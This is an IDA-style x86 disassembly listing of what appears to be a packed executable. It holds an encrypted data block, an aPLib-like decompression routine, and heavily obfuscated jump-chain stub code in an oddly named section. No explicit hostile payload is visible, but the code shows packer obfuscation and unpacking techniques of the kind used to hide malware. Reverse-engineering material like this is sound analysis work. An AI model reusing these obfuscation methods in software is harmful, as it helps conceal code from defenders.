		dd 99F8EBEFh, 7A0DBB00h, 1E09B46Ah, 0E271AFA5h,	15D55D75h
		dd 0F438493Fh, 59DCA4E1h, 41ACAA97h, 0EE926965h, 1585CD76h
		dd 0A234842Dh, 0A2F0C525h, 0CAA2612Ah, 96C35C92h, 0EC711136h
		dd 0A70FFD0Ah, 0CD08CC86h, 52CD043Eh, 551D8DA9h, 0D3C20B55h
		dd 0F958D68Fh, 0B626EB4Ch, 0C5FF5E7Dh, 0DA048BE8h, 0C08727F0h
		dd 0E782130Bh, 4E39E3A8h, 681D1E35h, 0F58F8DD6h, 981517EBh
		dd 970A54E8h, 0C8D07DD5h, 97E3222Fh, 5A1881F3h,	2AAE396Bh
		dd 7CAA7E07h, 5A1D832h,	0DB1B6730h, 7D8BCA83h, 6D5EC17Fh
		dd 0EE37829h, 87E105EFh, 0E0CB1711h, 32E4E9D7h,	0AB9E8CBAh
		dd 549A437Fh, 0AE86ADFBh, 0CE911413h, 97F372D1h, 0D9F27D15h
		dd 32748364h, 3C1C6FEBh, 7022941Ah, 0BB254C35h,	0C71BA09Bh
		dd 98FACD7Ch, 9AF35FE8h, 0B6197F52h, 64A42ED7h,	0A91C68F2h
		dd 6D97AEECh, 4F750D1Eh, 15F013D0h, 720AF2D7h, 727461E2h
		dd 6B188862h, 39F35DD9h, 25FD4918h, 0CFADCCE1h,	8999E692h
		dd 1C09EFEDh, 0A6D3BCD8h, 0FD575CF2h, 0CCC3BD5Fh, 223A5FE0h
		dd 41097D5Ah, 113ED136h, 0D09C99DCh, 613A75D9h,	3C051DEBh
		dd 0AD1E16FCh, 4092452Fh, 3792D75Ch, 6530C15Dh,	351377CAh
		dd 384A6BC9h, 0EA51EAAAh, 8C1D44B0h, 0B80BB7B3h, 26B5ACBh
		dd 0E59F4107h, 0F83B8FAEh, 289342BCh, 22BF2976h, 20B33545h
		dd 0BE762E78h, 0EC8C7855h, 62D774B9h, 0CA352449h, 527D526h
		dd 7122C125h, 7E32CE67h, 652D1FB8h, 1ADA2BD1h, 873FBC35h
		dd 0B063AF73h, 1B909D0h, 2BCDDFFBh, 9B5A9216h, 9ECC516Ch
		dd 0EEA93472h, 0DCE9E155h, 5296CC25h, 11DBCC7Fh, 0D4A1AFD1h
		dd 321FF845h, 54842E7Dh, 955D84AFh, 23CA3FB1h, 3FA04161h
		dd 0BC59A013h, 5C3F8B2Bh, 0F6BE1F6Eh, 689607DFh, 0BB956F8Dh
		dd 326549BAh, 0B8475EC3h, 7EA1D0A9h, 157ED675h,	0ABEB6DF1h
		dd 59314FE5h, 0D1542C3Ah, 7F941698h, 7BC23468h,	0A3BE157Fh
		dd 0D0099259h, 0AE882C38h, 0FB8BD6AEh, 8DAEF24Ah, 8BCED8C1h
		dd 0EC5635BAh, 963CE98Bh, 299915F0h, 45F1715Eh,	69357349h
		dd 5C7B7A4Eh, 0B5CCCD2Dh, 7B4403F7h, 0B2BEF6B0h, 475D6A7Eh
		dd 1B03D257h, 7163487Eh, 0B453F8C6h, 83DBCA48h,	0B8F2E0AEh
		dd 0FED9FD8h, 0A071F7B8h, 1A941965h, 81E3BAD0h,	361D8F97h
		dd 0CB14BAEh, 15CE9626h, 0F0A7AB58h, 0EEEC6265h, 95DC6260h
		dd 9AAF155h, 941FC82Fh,	0DCEC07A0h, 922AB872h, 0F5D3CBB7h
		dd 0B4952853h, 3B9DFEBDh, 70B0933Ah, 3976C0F3h,	57DC3A15h
		dd 71D7BD02h, 0CD999D9Bh, 0CBD37340h, 66DA5DA9h, 9BD5ADE8h
		dd 36275793h, 0CB60A373h, 0FF2A8664h, 95393B6Fh, 671DB659h
		dd 8C9E22BFh, 3B5478D8h, 8AF91B3Dh, 2B46F062h, 47944595h
		dd 441B2A29h, 0F6173F4Ch, 32FA852Eh, 184DF15Eh,	1B53DFD0h
		dd 0DEEAB976h, 94E64384h, 8D775F4Ch, 0FE50FADCh, 8C8D8448h
		dd 0BF06BECAh, 0ECD83597h, 0B5CE02FDh, 0B6E91839h, 49F70D48h
		dd 0F47AD514h, 5F642E46h, 0F22E6891h, 14F76EB0h, 5F2FA5FBh
		dd 0DF03FB76h, 0C9568407h, 6ECBAA04h, 0C2E1F303h, 0FAD5310Fh
		dd 7E0EF12Ch, 6013D23Fh, 91D32E1Dh, 95B76C37h, 0D57EC231h
		dd 1E711DD2h, 0D2118A5Bh, 0A505A6B4h, 92D7F0E1h, 0CA11D7ADh
		dd 0AAE86C0Fh, 85EF5FBh, 0FE6B4C97h, 778D2270h,	5FD7B9CDh
		dd 9C7224D8h, 1C098EB6h, 0C65FBA3Ch, 2AD2385Dh,	0A4BBEF76h
		dd 43E3DCABh, 0C8905A81h, 948CB93Bh, 4101173Bh,	0CDF4CB76h
		dd 4CCEFBE2h, 0E15B6B62h, 0AE34407Fh, 0FBD52528h, 0E070E64Ch
		dd 7D027098h, 5020EB32h, 9F21D002h, 0A0C4294Dh,	60EB9A2Dh
		dd 49E5CE1Dh, 44C79955h, 72E5790Bh, 8BECBA2Dh, 582D1402h
		dd 0B8F8FF22h, 513315B3h, 29CC72C0h, 1B526629h,	6054E5Ah
		dd 0FA27354Fh, 0A67F975Bh, 7D15FBCBh, 0C4066DB2h, 0CAF5545Dh
		dd 69DF6B1Ah, 261D54AEh, 9FCB06B2h, 97FAE321h, 5825BB57h
		dd 5915F166h, 37A5E0E6h, 0FC4BE4Dh, 9D17AF53h, 0C7D89959h
		dd 2B662884h, 5D9302Eh,	918AABA6h, 10697CCAh, 0CCE2546Dh
		dd 2FAC462Bh, 6625457Bh, 0DBDC9215h, 8A0C0CCCh,	2E7EA9B6h
		dd 98E6D473h, 0C8568175h, 3AB1D658h, 0E5FF0797h, 7791DCEAh
		dd 0AD9977D8h, 790CE5EAh, 5C5DAD74h, 19167E91h,	0B77C26A6h
		dd 1728EA24h, 0FE86ECD2h, 4554B4CBh, 5E3D4208h,	727AD6Fh
		dd 3A338C32h, 9C3D40BEh, 963E2601h, 56630780h, 0CA299312h
		dd 318E9A4Ch, 0E2A4EF3Fh, 0E49F474Ah, 787EBB2h,	0C83C5D9Eh
		dd 7A5F4BD0h, 786DEEA9h, 1E636CB0h, 0ABA223C8h,	0CA68202Fh
		dd 0B1B49553h, 588A4769h, 4C67FECDh, 20B82D72h,	9C9002Fh
		dd 2FA24D14h, 2D9BA934h, 88FA2A9Eh, 327EAB30h, 1AD221EAh
		dd 0B0B49138h, 0ACF03599h, 5EAF726Ah, 8B714A62h, 9FB8BB2h
		dd 14BAE29Ah, 65FCB094h, 0FF714731h, 0F2D2077Bh, 94AEFC3Bh
		dd 5F4F5F54h, 0C2DDD76Dh, 0C56CE2A3h, 436BF88Bh, 54F6D996h
		dd 8B22DCADh, 48CDAFBFh, 0FFBD6653h, 0D4373B1h,	0FF1C3422h
		dd 0BFC5h, 2926B000h, 1
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_77F0D6	proc near		; DATA XREF: _0xtwbvzc:00781B8Ao

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0077F255 SIZE 00000004 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cld
		push	ebx
		push	edi
		push	esi
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], edx
		mov	esi, eax
		mov	edi, edx
		cmp	word ptr [esi],	434Ah
		jnz	loc_77F218
		add	esi, 0Ah
		mov	[ebp+var_C], 8
		xor	ebx, ebx
		mov	edx, 80000000h
		inc	ebx


loc_77F107:				; CODE XREF: sub_77F0D6+46j
					; sub_77F0D6+8Dj ...
		xor	eax, eax
		call	sub_77F21F
		jnb	short loc_77F11E
		mov	ecx, [ebp+var_10]
		call	sub_77F237
		add	al, [ebp+var_11]


loc_77F11B:				; CODE XREF: sub_77F0D6+65j
		stosb
		jmp	short loc_77F107
; ---------------------------------------------------------------------------


loc_77F11E:				; CODE XREF: sub_77F0D6+38j
		call	sub_77F21F
		jb	loc_77F1C0
		call	sub_77F21F
		jnb	short loc_77F18B
		mov	ecx, 4
		call	sub_77F237
		dec	eax
		jz	short loc_77F11B
		jns	loc_77F20A
		call	sub_77F21F
		jnb	short loc_77F165
		push	ebp


loc_77F14B:				; CODE XREF: sub_77F0D6+8Aj
		mov	ebp, 100h


loc_77F150:				; CODE XREF: sub_77F0D6+83j
		call	sub_77F22C
		mov	[edi], al
		inc	edi
		dec	ebp
		jnz	short loc_77F150
		call	sub_77F21F
		jb	short loc_77F14B
		pop	ebp
		jmp	short loc_77F107
; ---------------------------------------------------------------------------


loc_77F165:				; CODE XREF: sub_77F0D6+72j
		mov	ecx, 1
		call	sub_77F237
		add	eax, 7
		mov	[ebp+var_10], eax
		mov	[ebp+var_11], 0
		cmp	eax, 8
		jz	short loc_77F107
		call	sub_77F22C
		mov	[ebp+var_11], al
		jmp	loc_77F107
; ---------------------------------------------------------------------------


loc_77F18B:				; CODE XREF: sub_77F0D6+58j
		mov	ecx, 7
		call	sub_77F237
		push	eax
		mov	ecx, 2
		call	sub_77F237
		mov	ecx, eax
		inc	ecx
		inc	ecx
		pop	eax
		or	eax, eax
		jz	short loc_77F1AD
		mov	ebx, eax
		jmp	short loc_77F20B
; ---------------------------------------------------------------------------


loc_77F1AD:				; CODE XREF: sub_77F0D6+D1j
		cmp	ecx, 2
		jz	short loc_77F218
		inc	ecx
		call	sub_77F237
		mov	[ebp+var_C], eax
		jmp	loc_77F107
; ---------------------------------------------------------------------------


loc_77F1C0:				; CODE XREF: sub_77F0D6+4Dj
		call	sub_77F243
		dec	ecx
		loop	loc_77F1D1
		mov	eax, ebx
		call	sub_77F243
		jmp	short loc_77F20B
; ---------------------------------------------------------------------------


loc_77F1D1:				; CODE XREF: sub_77F0D6+F0j
		dec	ecx
		mov	eax, ecx
		push	ebp
		mov	ecx, [ebp+var_C]
		mov	ebp, eax
		xor	eax, eax
		shl	ebp, cl
		call	sub_77F237
		or	eax, ebp
		pop	ebp
		mov	ebx, eax
		call	sub_77F243
		cmp	eax, 10000h
		jnb	short loc_77F208
		cmp	eax, 37FFh
		jnb	short loc_77F209
		cmp	eax, 27Fh
		jnb	short loc_77F20A
		cmp	eax, 7Fh
		ja	short loc_77F20B
		inc	ecx


loc_77F208:				; CODE XREF: sub_77F0D6+11Cj
		inc	ecx


loc_77F209:				; CODE XREF: sub_77F0D6+123j
		inc	ecx


loc_77F20A:				; CODE XREF: sub_77F0D6+67j
					; sub_77F0D6+12Aj
		inc	ecx


loc_77F20B:				; CODE XREF: sub_77F0D6+D5j
					; sub_77F0D6+F9j ...
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_77F107
; ---------------------------------------------------------------------------


loc_77F218:				; CODE XREF: sub_77F0D6+19j
					; sub_77F0D6+DAj
		mov	eax, esi
		pop	esi
		pop	edi
		pop	ebx
		jmp	short loc_77F255
sub_77F0D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_77F21F	proc near		; CODE XREF: sub_77F0D6+33p
					; sub_77F0D6:loc_77F11Ep ...
		add	edx, edx
		jnz	short locret_77F22B
		mov	edx, [esi]
		add	esi, 4
		stc
		adc	edx, edx

locret_77F22B:				; CODE XREF: sub_77F21F+2j
		retn
sub_77F21F	endp


; =============== S U B	R O U T	I N E =======================================



sub_77F22C	proc near		; CODE XREF: sub_77F0D6:loc_77F150p
					; sub_77F0D6+A8p
		mov	ecx, 8
		call	sub_77F237
		retn
sub_77F22C	endp


; =============== S U B	R O U T	I N E =======================================



sub_77F237	proc near		; CODE XREF: sub_77F0D6+3Dp
					; sub_77F0D6+5Fp ...
		xor	eax, eax


loc_77F239:				; CODE XREF: sub_77F237+9j
		call	sub_77F21F
		adc	eax, eax
		loop	loc_77F239
		retn
sub_77F237	endp


; =============== S U B	R O U T	I N E =======================================



sub_77F243	proc near		; CODE XREF: sub_77F0D6:loc_77F1C0p
					; sub_77F0D6+F4p ...
		xor	ecx, ecx
		inc	ecx


loc_77F246:				; CODE XREF: sub_77F243+Fj
		call	sub_77F21F
		adc	ecx, ecx
		call	sub_77F21F
		jb	short loc_77F246
		retn
sub_77F243	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_77F0D6


loc_77F255:				; CODE XREF: sub_77F0D6+147j
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_77F0D6
; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_77F25A	proc near		; DATA XREF: sub_781B4Ao
					; _0xtwbvzc:00781B79o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0077F8A4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0078044B SIZE 00000021 BYTES
; FUNCTION CHUNK AT 007808F1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00780B69 SIZE 00000012 BYTES

		shl	ebp, 3
		or	esi, eax
		jmp	loc_780B69
sub_77F25A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 240C8700h, 6BF5759h,	0E90077F5h, 241Ah, 0C60000h, 241C8709h
		dd 815BC38Bh, 0AA4C87E8h, 59890FDBh, 18h, 81C11300h, 0AEC89DE2h
		dd 32AE985h, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 134Bh, 178AE900h, 87000000h,	0C872434h, 59F18B24h, 247FE9h
		dd 0FA810000h, 79D8CF5Fh, 78E9h, 0C306C600h, 5FEF8B5Eh
		dd 0C3h, 781B50h, 116h,	97EE95Dh, 0
		dd 0CD4E8h, 1AF8E800h, 0
; ---------------------------------------------------------------------------


loc_77F2EC:				; CODE XREF: _0xtwbvzc:00781867j
		xchg	ebx, [esp]
		pop	ebx
		push	offset dword_780910
		jmp	locret_7810AC
; ---------------------------------------------------------------------------
		js	loc_780E31
		sbb	edi, ebx
		jno	loc_780DD0
		jmp	loc_77F63C
; ---------------------------------------------------------------------------
		sub	esi, 98FBA30Fh
		jmp	loc_78034F
; ---------------------------------------------------------------------------
		dd 0C1560000h, 0C72B11C9h, 3CEFD781h, 0E381BB01h, 10ECA410h
		dd 21B8850Fh, 23000000h, 0E9FA03C8h, 1230h, 0F88E0F00h
		dd 87000009h, 685E2434h, 0DB32787Ch, 0B6E9h, 3B000000h
		dd 2173E9DEh, 0F6000000h, 0FA43C2Ah, 6DA85h, 159AE900h
		dd 0E5810000h, 7A4B9B5Fh, 58240487h, 0BF86857h,	0B8507F6Eh
		dd 7817DBh, 11BBE9h, 815E0000h,	576F32EEh, 0B7C6813Eh
		dd 816915E7h, 16F206E6h, 0C5EE8148h, 81F5B215h,	5A71D2F6h
		dd 0FCEE930h, 81000000h, 20758CC0h, 0D88B53FEh,	68241C87h
		dd 77FEF7h, 8CEE9h, 3000000h, 8B5AC2h, 1814E8h,	42E90000h
		dd 0C3000017h, 675E900h, 0C60000h, 0E900C3C3h, 1995h
; ---------------------------------------------------------------------------


loc_77F3E4:				; CODE XREF: _0xtwbvzc:loc_7801CFj
					; _0xtwbvzc:00780718j
		push	ebp
		mov	ebp, esp
		jmp	loc_77FD7A
; ---------------------------------------------------------------------------
		js	loc_77F8B2
		jmp	loc_781661
; ---------------------------------------------------------------------------


loc_77F3F7:				; DATA XREF: sub_7815C7-563o
		xchg	edx, [esp]
		jmp	loc_7801CF
; ---------------------------------------------------------------------------
		align 10h
		dd 27E8h, 0E9000000h, 1DD8h, 0C7810000h, 6FA638B9h, 11D8E9h
		dd 0BA000000h, 257AA6CAh, 5E243487h, 0DFE9D029h, 0Ah, 5F243C87h
		dd 87F28B56h, 0C3E82434h, 4, 10CAE900h,	870F0000h, 20FDh
		dd 0CE28DB81h, 0B6E9945Ch, 23h,	0E9CB8700h, 0Ah, 8B0FC9C1h
		dd 498E913h, 4870000h, 240C8724h, 0C659C18Bh, 815E8706h
		dd 0D5422BF6h, 60E91Ah,	0C30000h, 502E900h, 4BE90000h
		dd 11h,	0E90000C3h, 1577h, 96680000h, 5ADB19BDh, 3238E281h
		dd 0C2C130FBh, 0F8EA810Ch, 811A8ADDh, 4B0C8AC2h, 0E9D50344h
		dd 72Ch, 0C6E93E87h, 8100001Ch,	5B8106F1h, 28850F48h, 0E900000Fh
		dd 0E1Ch, 41FD8100h, 0E98E973Ah, 0F03h,	0C6810000h, 7CCD2F00h
		dd 4D65F681h, 1AE8438Dh, 23h, 8159F18Bh, 0F62D18EEh, 6CCE81A6h
		dd 0E9D57529h, 0AA3h, 689C0000h, 5EAAEE98h, 8B241C87h
		dd 1519E9CBh, 0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0]
		sbb	ebx, ebp
		jmp	loc_781967

; =============== S U B	R O U T	I N E =======================================



sub_77F522	proc near		; CODE XREF: sub_781565+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0077FC3C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0077FEC5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00780A9A SIZE 0000000A BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	dword ptr [ebp-4], 1
		mov	eax, [ebp-4]
		xchg	ebx, [esp-4+arg_0]
		push	ebx
		pop	ecx
		jmp	loc_77FEC5
sub_77F522	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 8100h
		dd 0E4C976D1h, 0F2D68B9h, 78E90078h, 9,	0F602C600h, 7CFE85Ah
		dd 0F000000h, 1B918Dh, 0E9000000h, 23EBh, 0FB8B0000h, 1B7FE957h
		dd 0F000000h, 247386h, 789E900h, 0
; ---------------------------------------------------------------------------


loc_77F57C:				; CODE XREF: _0xtwbvzc:loc_781087j
		sub	edi, 0AA60733h
		and	edi, 4EF073BFh
		xor	edi, 0ECC8F3DBh
		push	offset loc_77F613
		jmp	loc_77F6D5
; ---------------------------------------------------------------------------
		dd 8F0F0000h, 193Dh, 0FFFF7DE9h, 0E8EC8BFFh, 2045h, 4870000h
		dd 0FD20924h, 0BB884h, 0B5685000h, 0E9007813h, 433h, 0C199D3F7h
		dd 15E917C6h, 15h, 810CC6C1h, 0BA16BAFEh, 1577E934h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_77F5DF:				; CODE XREF: sub_7815C7:loc_77F6CFj
		or	ebx, 1A14EA60h
		add	ebx, 26581AF1h
		jmp	loc_780191
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_306. PRESS KEYPAD	"+" TO EXPAND]
		align 4


loc_77F5F4:				; CODE XREF: _0xtwbvzc:007818E7j
		jmp	locret_78099A
; ---------------------------------------------------------------------------
		align 2
		dw 768h
		dd 8BB9DC0Eh, 12C3C13Ah, 0EF1E8h
		db 3 dup(0)
; ---------------------------------------------------------------------------

locret_77F60B:				; CODE XREF: _0xtwbvzc:loc_77F6D5j
		retn
; ---------------------------------------------------------------------------
		dd 7BEE900h		; CODE XREF: _0xtwbvzc:007813D2j
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_77F613:				; DATA XREF: _0xtwbvzc:0077F58Eo
		add	edi, 145F8ACBh


loc_77F619:				; DATA XREF: _0xtwbvzc:0077F6F0o
		xchg	edi, [esp]
		push	ecx
		call	sub_77FE08


loc_77F622:				; CODE XREF: _0xtwbvzc:0077FCA2j
		jmp	locret_7816FD
; ---------------------------------------------------------------------------
		align 4
		dd 5300C300h, 87EF8B55h, 0F7BF242Ch, 0E9007811h, 18A8h
; ---------------------------------------------------------------------------


loc_77F63C:				; CODE XREF: _0xtwbvzc:0077F308j
		rol	ecx, 1Dh
		and	ecx, 0C55E8931h
		push	ecx
		push	1B17E3A8h
		jmp	loc_7801C8
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_77F651	proc near		; CODE XREF: sub_7815C7:loc_780191p

; FUNCTION CHUNK AT 0077F989 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00780BAA SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	byte ptr [ebx],	9Dh
		pop	ebx
		sub	edx, 0F684E480h
		rol	edx, 1Dh
		or	edx, 5E96B894h
		jmp	loc_77F989
sub_77F651	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2

locret_77F66E:				; CODE XREF: _0xtwbvzc:loc_780708j
		retn
; ---------------------------------------------------------------------------
		align 10h
		cdq
		jmp	loc_7806AD
; ---------------------------------------------------------------------------
		xchg	ebx, [esp]
		pop	ebx
		push	ebx
		mov	ebx, ebp
		xchg	ebx, [esp]
		jmp	loc_781830
; ---------------------------------------------------------------------------
		align 4
		dd 9C02735Ah, 810F0000h, 0FFFFFCC9h, 10E1E9h, 9B956800h
		dd 0D623932Ch, 9FCE9h, 0C2810000h, 2AECCEEh, 62C031BCh
		dd 11FCE9h, 0FFE80000h,	12h, 1379E900h,	0E9000000h, 0B1Ah
		dd 13F8E900h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_77F6CF:				; CODE XREF: sub_7815C7-1120j
		jmp	loc_77F5DF
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_77F6D5:				; CODE XREF: _0xtwbvzc:0077F593j
		jmp	locret_77F60B
; ---------------------------------------------------------------------------
		dw 0C600h		; CODE XREF: _0xtwbvzc:loc_77FF9Aj
; ---------------------------------------------------------------------------
		pop	es
		xchg	eax, [edi-274DBD4h]
		pop	ebp
		pop	edi
		jmp	loc_781087
; ---------------------------------------------------------------------------
		push	8B7E0200h
		push	edi
		mov	edi, offset loc_77F619
		jmp	loc_77FF9A
; ---------------------------------------------------------------------------
		dw 0F00h
		dd 31284h, 1DC0E900h, 0E9000000h, 0C81h, 0E9E82B00h, 2F7h
					; CODE XREF: _0xtwbvzc:0078136Ej
		dd 0D680000h, 873127EAh, 0C68B2434h, 87E0815Eh,	516E2929h
		dd 18F9E9h, 33000000h, 240487D3h, 8B240C87h, 0E95259C1h
		dd 276h
; ---------------------------------------------------------------------------


loc_77F740:				; DATA XREF: sub_7815C7:loc_7808D5o
		push	offset word_7813F6
		jmp	loc_78149A
; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_301. PRESS KEYPAD	"+" TO EXPAND]
		dd 0C2810000h, 0B6C48030h, 2AF6128Bh
; ---------------------------------------------------------------------------


loc_77F758:				; DATA XREF: sub_780531+5o
		cmp	al, 0A4h
		jnz	loc_7805C9
		jmp	loc_7808E0
; ---------------------------------------------------------------------------
		align 2
		sub	esi, 0F0A6199Fh
		jmp	loc_77F976
; ---------------------------------------------------------------------------
		align 2
		xchg	eax, [esp]
		xchg	edx, [esp]
		mov	eax, edx
		pop	edx
		xchg	edi, [esp]
		jmp	nullsub_316
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_77F784:				; CODE XREF: sub_7815C7+169j
		jle	loc_781474


loc_77F78A:				; CODE XREF: _0xtwbvzc:loc_780DD0p
		xchg	eax, [esp+0]
		pop	eax
		mov	[ecx], eax
		pop	ecx
		pushf
		call	sub_77FF2E
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		db 0
		dd 83108B00h, 0AE6804C0h, 0E90077F5h, 1C44h, 0E9D6F700h
		dd 0FFFFFC6Bh, 0EC5E9C3h, 6E90000h, 16h, 698E0F53h, 0E9FFFFFBh
		dd 116Fh, 24147A00h, 105E9h, 5A680000h,	0DE8ADF94h, 8F682414h
		dd 0E9007808h, 20E4h, 7AD68100h, 0E9AA0C64h, 4E0h, 0B7C98100h
		dd 81B7A1D6h, 455EAFE1h, 2DC1812Ch, 0E8D4769Ch,	0E8h, 86E90000h
		dd 0E9000004h, 342h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_77FC00


loc_77F815:				; CODE XREF: sub_77FC00+13E3j
		mov	byte ptr [edi],	8Bh
		pop	edi
		sub	al, 99h
		push	offset word_780CFE
		jmp	nullsub_256
; END OF FUNCTION CHUNK	FOR sub_77FC00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_77F825:				; CODE XREF: sub_7815C7+35j
		mov	ebp, ecx
		xchg	ebp, [esp-4+arg_0]
		lea	eax, dword_7801F2
		call	sub_780CD2
		jge	loc_781860
		and	edx, 9E795169h
		jmp	loc_781708
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_77FF2E


loc_77F848:				; CODE XREF: sub_77FF2E:loc_780F3Fj
		jl	loc_7810D9
; END OF FUNCTION CHUNK	FOR sub_77FF2E
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_780D69


loc_77F850:				; CODE XREF: sub_780D69+Aj
		jmp	loc_7812ED
; END OF FUNCTION CHUNK	FOR sub_780D69
; ---------------------------------------------------------------------------
		align 2


loc_77F856:				; CODE XREF: _0xtwbvzc:00780682j
		jmp	loc_780F51
; ---------------------------------------------------------------------------
		align 4
		cdq
		jmp	loc_7810D7
; ---------------------------------------------------------------------------


loc_77F862:				; CODE XREF: _0xtwbvzc:loc_780758j
		add	eax, 3D44F8B4h
		popf
		xchg	eax, [esp]
		retn
; ---------------------------------------------------------------------------
		db 0Fh,	84h, 0E7h
		dd 8100000Dh, 0B814D9C6h, 2B5E8A4h
		db 3 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_258. PRESS KEYPAD	"+" TO EXPAND]
		dd 24E90000h, 81000006h, 0A2079BEFh, 0CBF781EEh, 8133186Bh
		dd 342560E7h, 8CC78111h, 0E9F04416h, 1E20h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_77F25A


loc_77F8A4:				; CODE XREF: sub_77F25A+120Dj
		add	ebx, 3BD676B2h
		xchg	ebx, [esp+0]
		jmp	loc_7804D5
; END OF FUNCTION CHUNK	FOR sub_77F25A
; ---------------------------------------------------------------------------


loc_77F8B2:				; CODE XREF: _0xtwbvzc:0077F3ECj
		push	offset dword_78199C
		jmp	loc_780619
; ---------------------------------------------------------------------------
		dd 0E8068B00h, 12A5h, 4870000h,	8B555824h, 242C87EAh, 8C6E9h
					; CODE XREF: sub_781374:loc_780D19p
		dd 0A7E9C300h, 1Dh, 8A11C781h, 0FD03EBF6h, 77FE7B68h, 1011E900h
		dd 0
; ---------------------------------------------------------------------------


loc_77F8F0:				; CODE XREF: _0xtwbvzc:0077FAE9j
		xchg	ebx, [esp]
		pop	ebx
		push	offset loc_78029F
		jmp	loc_77FBF9
; ---------------------------------------------------------------------------
		xchg	eax, [esp]
		pop	eax
		push	offset dword_7818A4
		jmp	loc_780708
; ---------------------------------------------------------------------------
		dd 12E3C100h, 8F5E9h, 1F870000h, 10D8E9h, 0C3000000h, 827E800h
		dd 0
; ---------------------------------------------------------------------------


loc_77F928:				; CODE XREF: _0xtwbvzc:0077FE2Fj
		jmp	locret_780B18
; ---------------------------------------------------------------------------
		align 2
		add	eax, 0B908DC8Ah
		mov	eax, [eax]
		call	sub_7811D4

; =============== S U B	R O U T	I N E =======================================



sub_77F93B	proc near		; DATA XREF: _0xtwbvzc:0078022Ao

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00780867 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007808F8 SIZE 00000005 BYTES

		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp+4+var_4]
		push	2E4497E4h
		pop	edx
		sub	edx, 26F2A7D8h
		or	edx, 0FEFC2905h
		jmp	loc_7808F8
sub_77F93B	endp

; ---------------------------------------------------------------------------
		dd 840FD209h, 811h, 77FB3F68h, 0FD9DE900h, 5B68FFFFh, 0E90077F3h
		dd 0B22h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_77F976:				; CODE XREF: _0xtwbvzc:0077F76Cj
		sbb	eax, ecx

; =============== S U B	R O U T	I N E =======================================



sub_77F978	proc near		; CODE XREF: sub_77F98E+E78p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00780A19 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00781544 SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xchg	edx, [esp-4+arg_0]
		mov	ecx, edx
		jmp	loc_780A19
sub_77F978	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_77F651


loc_77F989:				; CODE XREF: sub_77F651+17j
		jmp	loc_780BAA
; END OF FUNCTION CHUNK	FOR sub_77F651

; =============== S U B	R O U T	I N E =======================================



sub_77F98E	proc near		; DATA XREF: sub_780D69+588o

; FUNCTION CHUNK AT 007807FF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00781495 SIZE 00000005 BYTES

		add	edx, eax


loc_77F990:				; DATA XREF: sub_780D69+5o
		rol	edx, 3
		xor	edx, eax
		jmp	loc_781495
sub_77F98E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_7815C7


loc_77F99C:				; CODE XREF: sub_7815C7:loc_7810AFj
		jz	loc_7811B3
		lodsb
		jmp	loc_78144A
; END OF FUNCTION CHUNK	FOR sub_7815C7
; ---------------------------------------------------------------------------
